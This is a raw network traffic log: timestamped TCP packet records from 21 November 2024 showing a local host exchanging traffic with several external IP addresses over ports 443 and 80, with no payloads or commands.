Nov 21, 2024 19:58:53.824197054 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.824502945 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.825818062 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.825838089 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.883425951 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.883467913 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:53.883533955 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.885310888 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.885327101 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:53.893268108 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.893306971 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:53.893367052 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.893569946 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.893587112 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:53.899343967 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.899382114 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:53.899450064 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.899621010 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:53.899637938 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:53.904191017 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:53.904653072 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:53.904675961 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:53.905935049 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:53.906269073 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:53.906478882 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:53.906491995 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:53.906544924 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:53.962378025 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:54.088480949 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:54.088546038 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:54.088610888 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:54.088658094 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:54.090044022 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:54.090154886 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:54.090219021 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:54.199743032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:54.199743032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:54.319524050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:54.319570065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:54.476855040 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:54.476875067 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:54.476936102 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:54.476949930 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:54.477008104 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:54.478629112 CET	49822	443	192.168.2.8	23.96.180.189
Nov 21, 2024 19:58:54.478652954 CET	443	49822	23.96.180.189	192.168.2.8
Nov 21, 2024 19:58:55.147141933 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.147418022 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.147469997 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.147944927 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.151547909 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.151648998 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.151834965 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.167573929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:55.167927027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:55.192866087 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.192909002 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.234500885 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.234740973 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.234759092 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.235152006 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.235483885 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.235543013 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.235955954 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.239011049 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.239262104 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.239273071 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.243870974 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.244009972 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.244328976 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.244467020 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.244471073 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.277719975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:55.279335976 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.285703897 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.285753012 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.285764933 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.329646111 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.397284031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:55.716659069 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.716692924 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.716702938 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.716734886 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.716763020 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.716810942 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.716877937 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.716924906 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.721900940 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.735457897 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.735534906 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.735558987 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.735578060 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.735618114 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.735651016 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.735738993 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.735738993 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.735738993 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.735754013 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.741918087 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.743473053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:55.743570089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:55.743715048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:55.743763924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:55.747953892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:55.819178104 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.819200993 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.819209099 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.819226980 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.819247961 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.819331884 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.819350004 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.819662094 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.838248014 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.838273048 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.838339090 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.838366032 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.838397980 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.839412928 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.846328974 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.846709013 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.922440052 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:55.922457933 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:55.922530890 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:55.922689915 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.922708035 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.922759056 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.922789097 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.922802925 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.922838926 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.927201033 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:55.927212954 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:55.940655947 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.940679073 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.940723896 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.940737963 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.940748930 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.940777063 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.946835995 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.946898937 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.946919918 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.946928978 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.946976900 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.946976900 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.948903084 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.948949099 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:55.955034971 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:55.955108881 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.011028051 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.011055946 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.011115074 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.011162996 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.011203051 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.011226892 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.028059959 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.028093100 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.028141022 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.028158903 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.028168917 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.028187037 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.028204918 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.028582096 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.028686047 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.030529022 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.030545950 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.030589104 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.030597925 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.030610085 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.030637980 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.052031994 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.052051067 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.052093029 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.052114964 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.052126884 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:56.052160025 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:56.052170992 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.052170992 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.052222967 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:56.054642916 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:56.054658890 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:56.057531118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:56.070877075 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.070915937 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.070945024 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.070954084 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.070976973 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.070991993 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.071515083 CET	49824	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.071531057 CET	443	49824	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.132884026 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.132900953 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.132946968 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.132956982 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.132987022 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.133016109 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.139158010 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.139218092 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.139250994 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.139261007 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.139298916 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.139298916 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.150180101 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.150233030 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.153239012 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.153301001 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.173810959 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.173827887 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.173883915 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.173891068 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.173932076 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.175364017 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.175386906 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.175452948 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.175452948 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.175461054 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.175565958 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.177212954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:56.194554090 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.194601059 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.194624901 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.194632053 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.194667101 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.194668055 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.198390961 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.198405981 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.198447943 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.198452950 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.198487997 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.198520899 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.241545916 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.241606951 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.324734926 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.324852943 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.337727070 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.337753057 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.337785959 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.337793112 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.337810993 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.337821007 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.337831020 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.337858915 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.338489056 CET	49823	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.338500977 CET	443	49823	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.339123011 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.339169979 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.339184999 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.339194059 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.339231014 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.356585979 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.356635094 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.356657982 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.356669903 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.356703997 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.373897076 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.373922110 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.373986959 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.374001980 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.374039888 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.378846884 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.378916979 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.378923893 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.393980980 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.394037962 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.394098043 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.394098043 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.394108057 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.412954092 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.413000107 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.413018942 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.413028002 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.413075924 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.420011044 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.420089006 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.515033960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:56.515338898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:56.528404951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:56.533948898 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.533998966 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.534039974 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.534056902 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.534096956 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.534096956 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.546478987 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.546526909 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.546559095 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.546566963 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.546619892 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.546619892 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.552052021 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.552150011 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.561006069 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.561117887 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.561150074 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.561157942 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.561234951 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.571700096 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.571722031 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.571765900 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.571774960 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.571805954 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.582227945 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.582247972 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.582359076 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.582393885 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.582439899 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.583184004 CET	49825	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:56.583199978 CET	443	49825	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:56.648019075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:56.749356985 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:56.749386072 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:56.749444008 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:56.749968052 CET	49828	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:56.749983072 CET	443	49828	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.093343019 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.093390942 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.093719959 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.093935013 CET	49829	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.093950987 CET	443	49829	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.481884003 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.482285976 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.482306004 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.482790947 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.483378887 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.483460903 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.483572960 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.483730078 CET	49826	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.483763933 CET	443	49826	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.486357927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:57.486465931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:57.518594980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:57.638264894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:57.674922943 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.675333023 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.675365925 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.675859928 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.676261902 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.676354885 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.676577091 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.676577091 CET	49827	443	192.168.2.8	52.168.112.67
Nov 21, 2024 19:58:57.676618099 CET	443	49827	52.168.112.67	192.168.2.8
Nov 21, 2024 19:58:57.960135937 CET	443	49826	52.168.112.67	192.168.2.8
